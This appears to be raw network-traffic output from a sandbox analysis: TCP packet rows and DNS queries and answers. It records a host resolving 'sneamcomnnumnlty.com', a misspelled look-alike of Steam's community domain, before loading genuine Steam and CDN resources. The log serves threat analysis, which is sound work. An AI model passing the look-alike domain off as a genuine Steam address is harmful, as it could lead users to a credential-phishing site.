Oct 6, 2024 14:08:24.509138107 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.547296047 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.547318935 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.547326088 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.547354937 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.547369957 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.547379971 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.547456026 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.547477007 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.547528028 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.547528028 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.549351931 CEST	49770	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:24.588398933 CEST	443	49764	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.588429928 CEST	443	49764	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.588493109 CEST	49764	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.588519096 CEST	443	49764	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.588536024 CEST	443	49764	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.588562965 CEST	49764	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.588603973 CEST	49764	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.589000940 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.589627028 CEST	49764	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.589643002 CEST	443	49764	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.589689970 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.589715004 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.589751959 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.589766979 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.589786053 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.590936899 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.591010094 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.591018915 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.591089010 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.591829062 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.591891050 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.591909885 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.591970921 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.592010021 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.592163086 CEST	49758	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.592174053 CEST	443	49758	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.616065025 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.616091013 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.616143942 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.616163969 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.616194963 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.616208076 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.618350983 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.618421078 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.639643908 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.639668941 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.639760971 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.639784098 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.639832973 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.666434050 CEST	443	49765	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.666699886 CEST	49765	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.666759968 CEST	443	49765	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.667260885 CEST	443	49765	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.667592049 CEST	49765	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.667676926 CEST	443	49765	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.667768002 CEST	49765	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.685554981 CEST	443	49767	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.686142921 CEST	49767	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.686156988 CEST	443	49767	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.687218904 CEST	443	49769	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.687655926 CEST	443	49767	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.687719107 CEST	49767	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.687784910 CEST	443	49768	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.688371897 CEST	49769	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.688378096 CEST	443	49769	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.689048052 CEST	49767	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.689124107 CEST	443	49767	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.689269066 CEST	49768	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.689286947 CEST	443	49768	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.689373970 CEST	443	49769	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.689420938 CEST	49769	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.689749002 CEST	443	49768	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.691668987 CEST	49769	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.691726923 CEST	443	49769	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.692255020 CEST	49768	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.692343950 CEST	443	49768	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.692521095 CEST	49767	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.692528963 CEST	443	49767	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.692749977 CEST	49769	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.692754984 CEST	443	49769	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.692862034 CEST	49768	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.693918943 CEST	443	49766	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.694391966 CEST	49766	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.694418907 CEST	443	49766	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.694750071 CEST	443	49766	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.695060015 CEST	49766	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.695122957 CEST	443	49766	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.695250988 CEST	49766	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.706027985 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.706048965 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.706101894 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.706116915 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.706156969 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.706190109 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.706624031 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.706680059 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.710967064 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.710984945 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.711046934 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.711052895 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.711095095 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.713633060 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.713651896 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.713710070 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.713716984 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.713759899 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.715399981 CEST	443	49765	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.731745958 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.731817007 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.738038063 CEST	49767	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.738055944 CEST	49769	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.739403009 CEST	443	49766	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.739408016 CEST	443	49768	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.798367023 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.798417091 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.798449993 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.798475027 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.798506021 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.798520088 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.798820019 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.798862934 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.798887968 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.798892021 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.798918009 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.798942089 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.799792051 CEST	49760	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.799804926 CEST	443	49760	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.800625086 CEST	49779	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.800668955 CEST	443	49779	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.800730944 CEST	49779	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.801219940 CEST	49779	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.801234007 CEST	443	49779	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.806344032 CEST	49780	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.806370020 CEST	443	49780	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.806438923 CEST	49780	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.806610107 CEST	49780	443	192.168.2.5	2.19.126.97
Oct 6, 2024 14:08:24.806617022 CEST	443	49780	2.19.126.97	192.168.2.5
Oct 6, 2024 14:08:24.815367937 CEST	443	49770	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:24.815673113 CEST	443	49770	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:24.815742970 CEST	49770	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:24.818094015 CEST	49770	443	192.168.2.5	104.21.91.169
Oct 6, 2024 14:08:24.818108082 CEST	443	49770	104.21.91.169	192.168.2.5
Oct 6, 2024 14:08:24.825206041 CEST	49781	443	192.168.2.5	35.190.80.1
Oct 6, 2024 14:08:24.825251102 CEST	443	49781	35.190.80.1	192.168.2.5
Oct 6, 2024 14:08:24.825318098 CEST	49781	443	192.168.2.5	35.190.80.1
Oct 6, 2024 14:08:24.825486898 CEST	49781	443	192.168.2.5	35.190.80.1
Oct 6, 2024 14:08:24.825509071 CEST	443	49781	35.190.80.1	192.168.2.5
Oct 6, 2024 14:08:24.838350058 CEST	443	49773	2.19.126.133	192.168.2.5
Oct 6, 2024 14:08:24.838634968 CEST	49773	443	192.168.2.5	2.19.126.133
Oct 6, 2024 14:08:24.838660955 CEST	443	49773	2.19.126.133	192.168.2.5
Oct 6, 2024 14:08:24.840126991 CEST	443	49773	2.19.126.133	192.168.2.5
Oct 6, 2024 14:08:24.840192080 CEST	49773	443	192.168.2.5	2.19.126.133
Oct 6, 2024 14:08:24.841341972 CEST	49773	443	192.168.2.5	2.19.126.133
Oct 6, 2024 14:08:24.841459036 CEST	443	49773	2.19.126.133	192.168.2.5
Oct 6, 2024 14:08:24.841717958 CEST	49773	443	192.168.2.5	2.19.126.133
Oct 6, 2024 14:08:24.841744900 CEST	443	49773	2.19.126.133	192.168.2.5
Oct 6, 2024 14:08:24.882266045 CEST	49773	443	192.168.2.5	2.19.126.133
Oct 6, 2024 14:08:24.952243090 CEST	443	49767	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.952280998 CEST	443	49767	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.952334881 CEST	49767	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.952354908 CEST	443	49767	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.953043938 CEST	443	49767	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.953098059 CEST	49767	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.953949928 CEST	443	49769	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.953973055 CEST	443	49769	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.954020023 CEST	49769	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.954041004 CEST	443	49769	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.954667091 CEST	443	49769	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.954715967 CEST	49769	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.956341028 CEST	443	49768	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.956374884 CEST	443	49768	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.956443071 CEST	443	49768	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.956442118 CEST	49768	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.956500053 CEST	49768	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.966777086 CEST	49768	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.966816902 CEST	443	49768	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.967526913 CEST	49783	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.967576027 CEST	443	49783	2.16.168.6	192.168.2.5
Oct 6, 2024 14:08:24.967643023 CEST	49783	443	192.168.2.5	2.16.168.6
Oct 6, 2024 14:08:24.968082905 CEST	49769	443	192.168.2.5	2.16.168.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 6, 2024 14:08:15.702627897 CEST	192.168.2.5	1.1.1.1	0x31bb	Standard query (0)	sneamcomnnumnlty.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:15.702780962 CEST	192.168.2.5	1.1.1.1	0xdae0	Standard query (0)	sneamcomnnumnlty.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:17.337457895 CEST	192.168.2.5	1.1.1.1	0x2e89	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:17.337944031 CEST	192.168.2.5	1.1.1.1	0x6f1a	Standard query (0)	steamcommunity.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:17.956428051 CEST	192.168.2.5	1.1.1.1	0x4dc0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:17.956821918 CEST	192.168.2.5	1.1.1.1	0x5154	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:18.725542068 CEST	192.168.2.5	1.1.1.1	0x45eb	Standard query (0)	sneamcomnnumnlty.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:18.726917982 CEST	192.168.2.5	1.1.1.1	0x11ec	Standard query (0)	sneamcomnnumnlty.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:18.770991087 CEST	192.168.2.5	1.1.1.1	0x8f7e	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:18.799005985 CEST	192.168.2.5	1.1.1.1	0x6b94	Standard query (0)	steamcommunity.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:19.941354036 CEST	192.168.2.5	1.1.1.1	0xdad1	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:19.941595078 CEST	192.168.2.5	1.1.1.1	0xe1c1	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:19.945934057 CEST	192.168.2.5	1.1.1.1	0x8952	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:19.946680069 CEST	192.168.2.5	1.1.1.1	0xf81d	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:19.947309971 CEST	192.168.2.5	1.1.1.1	0xf4d3	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:19.947475910 CEST	192.168.2.5	1.1.1.1	0xade2	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:21.772252083 CEST	192.168.2.5	1.1.1.1	0x6f47	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:21.772452116 CEST	192.168.2.5	1.1.1.1	0x3eac	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:21.787708998 CEST	192.168.2.5	1.1.1.1	0x1db	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:21.788113117 CEST	192.168.2.5	1.1.1.1	0x945c	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:22.278434992 CEST	192.168.2.5	1.1.1.1	0x876c	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:22.278671026 CEST	192.168.2.5	1.1.1.1	0x69ed	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:24.043034077 CEST	192.168.2.5	1.1.1.1	0x75c3	Standard query (0)	recaptcha.net	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:24.043381929 CEST	192.168.2.5	1.1.1.1	0xde9b	Standard query (0)	recaptcha.net	65	IN (0x0001)	false
Oct 6, 2024 14:08:24.157038927 CEST	192.168.2.5	1.1.1.1	0x865f	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:24.157038927 CEST	192.168.2.5	1.1.1.1	0x17f9	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:24.817437887 CEST	192.168.2.5	1.1.1.1	0xd20d	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:24.817437887 CEST	192.168.2.5	1.1.1.1	0x937f	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:24.996764898 CEST	192.168.2.5	1.1.1.1	0xa47b	Standard query (0)	recaptcha.net	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:24.997148037 CEST	192.168.2.5	1.1.1.1	0xe0b1	Standard query (0)	recaptcha.net	65	IN (0x0001)	false
Oct 6, 2024 14:08:25.890649080 CEST	192.168.2.5	1.1.1.1	0x7228	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:25.890813112 CEST	192.168.2.5	1.1.1.1	0x1339	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:56.048851013 CEST	192.168.2.5	1.1.1.1	0x921e	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:56.048959970 CEST	192.168.2.5	1.1.1.1	0xc58e	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Oct 6, 2024 14:08:56.659537077 CEST	192.168.2.5	1.1.1.1	0xed95	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:56.660017967 CEST	192.168.2.5	1.1.1.1	0x1b5a	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Oct 6, 2024 14:08:57.152497053 CEST	192.168.2.5	1.1.1.1	0x2a74	Standard query (0)	fonts.cdnfonts.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:57.152631998 CEST	192.168.2.5	1.1.1.1	0xc612	Standard query (0)	fonts.cdnfonts.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:58.971282005 CEST	192.168.2.5	1.1.1.1	0xc12	Standard query (0)	community.cloudflare.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:58.971472979 CEST	192.168.2.5	1.1.1.1	0xa48f	Standard query (0)	community.cloudflare.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:58.973156929 CEST	192.168.2.5	1.1.1.1	0x6019	Standard query (0)	community.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:58.973267078 CEST	192.168.2.5	1.1.1.1	0x4935	Standard query (0)	community.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 14:08:59.968142986 CEST	192.168.2.5	1.1.1.1	0xf44c	Standard query (0)	community.cloudflare.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:59.968528986 CEST	192.168.2.5	1.1.1.1	0x13ab	Standard query (0)	community.cloudflare.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 14:09:00.040018082 CEST	192.168.2.5	1.1.1.1	0xe1c2	Standard query (0)	community.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:00.040143967 CEST	192.168.2.5	1.1.1.1	0x3dd0	Standard query (0)	community.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 14:09:00.221788883 CEST	192.168.2.5	1.1.1.1	0xdd3e	Standard query (0)	store.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:00.222028017 CEST	192.168.2.5	1.1.1.1	0x2f90	Standard query (0)	store.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 14:09:01.883876085 CEST	192.168.2.5	1.1.1.1	0xbab5	Standard query (0)	store.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:01.883876085 CEST	192.168.2.5	1.1.1.1	0x1f81	Standard query (0)	store.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 14:09:13.838624001 CEST	192.168.2.5	1.1.1.1	0xe6b0	Standard query (0)	store.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:13.839225054 CEST	192.168.2.5	1.1.1.1	0x55c6	Standard query (0)	store.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 14:09:17.169676065 CEST	192.168.2.5	1.1.1.1	0xf527	Standard query (0)	login.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:17.169872046 CEST	192.168.2.5	1.1.1.1	0x23e	Standard query (0)	login.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 14:09:18.384103060 CEST	192.168.2.5	1.1.1.1	0x53c	Standard query (0)	login.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:18.384285927 CEST	192.168.2.5	1.1.1.1	0x3c60	Standard query (0)	login.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 14:09:18.410103083 CEST	192.168.2.5	1.1.1.1	0xc71a	Standard query (0)	api.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:18.410351992 CEST	192.168.2.5	1.1.1.1	0x8804	Standard query (0)	api.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 14:09:18.639902115 CEST	192.168.2.5	1.1.1.1	0x4cd0	Standard query (0)	help.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:18.640264034 CEST	192.168.2.5	1.1.1.1	0xa3a1	Standard query (0)	help.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 14:09:19.519038916 CEST	192.168.2.5	1.1.1.1	0xa14f	Standard query (0)	api.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:19.519404888 CEST	192.168.2.5	1.1.1.1	0xe386	Standard query (0)	api.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 14:09:21.686074018 CEST	192.168.2.5	1.1.1.1	0xf658	Standard query (0)	help.steampowered.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:21.686486959 CEST	192.168.2.5	1.1.1.1	0x327f	Standard query (0)	help.steampowered.com	65	IN (0x0001)	false
Oct 6, 2024 14:09:23.560847998 CEST	192.168.2.5	1.1.1.1	0xd76a	Standard query (0)	cdn.akamai.steamstatic.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:23.561048985 CEST	192.168.2.5	1.1.1.1	0xfbc6	Standard query (0)	cdn.akamai.steamstatic.com	65	IN (0x0001)	false
Oct 6, 2024 14:09:23.561897039 CEST	192.168.2.5	1.1.1.1	0x4778	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:23.562304020 CEST	192.168.2.5	1.1.1.1	0x13d4	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 6, 2024 14:09:24.547564983 CEST	192.168.2.5	1.1.1.1	0x5ad8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:09:24.548032045 CEST	192.168.2.5	1.1.1.1	0x5f99	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 6, 2024 14:08:15.719961882 CEST	1.1.1.1	192.168.2.5	0x31bb	No error (0)	sneamcomnnumnlty.com		104.21.91.169	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:15.719961882 CEST	1.1.1.1	192.168.2.5	0x31bb	No error (0)	sneamcomnnumnlty.com		172.67.175.206	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:15.761568069 CEST	1.1.1.1	192.168.2.5	0xdae0	No error (0)	sneamcomnnumnlty.com			65	IN (0x0001)	false
Oct 6, 2024 14:08:17.345181942 CEST	1.1.1.1	192.168.2.5	0x2e89	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:17.963813066 CEST	1.1.1.1	192.168.2.5	0x5154	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 6, 2024 14:08:17.963855028 CEST	1.1.1.1	192.168.2.5	0x4dc0	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:18.741441965 CEST	1.1.1.1	192.168.2.5	0x11ec	No error (0)	sneamcomnnumnlty.com			65	IN (0x0001)	false
Oct 6, 2024 14:08:18.762681007 CEST	1.1.1.1	192.168.2.5	0x45eb	No error (0)	sneamcomnnumnlty.com		172.67.175.206	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:18.762681007 CEST	1.1.1.1	192.168.2.5	0x45eb	No error (0)	sneamcomnnumnlty.com		104.21.91.169	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:18.777780056 CEST	1.1.1.1	192.168.2.5	0x8f7e	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:19.948977947 CEST	1.1.1.1	192.168.2.5	0xdad1	No error (0)	store.akamai.steamstatic.com		2.16.168.6	A (IP address)	IN (0x0001)	false
Oct 6, 2024 14:08:19.948977947 CEST	1.1.1.1	192.168.2.5	0xdad1	No error (0)	store.akamai.steamstatic.com		2.16.168.5	A (IP address)	IN (0x0001)	false
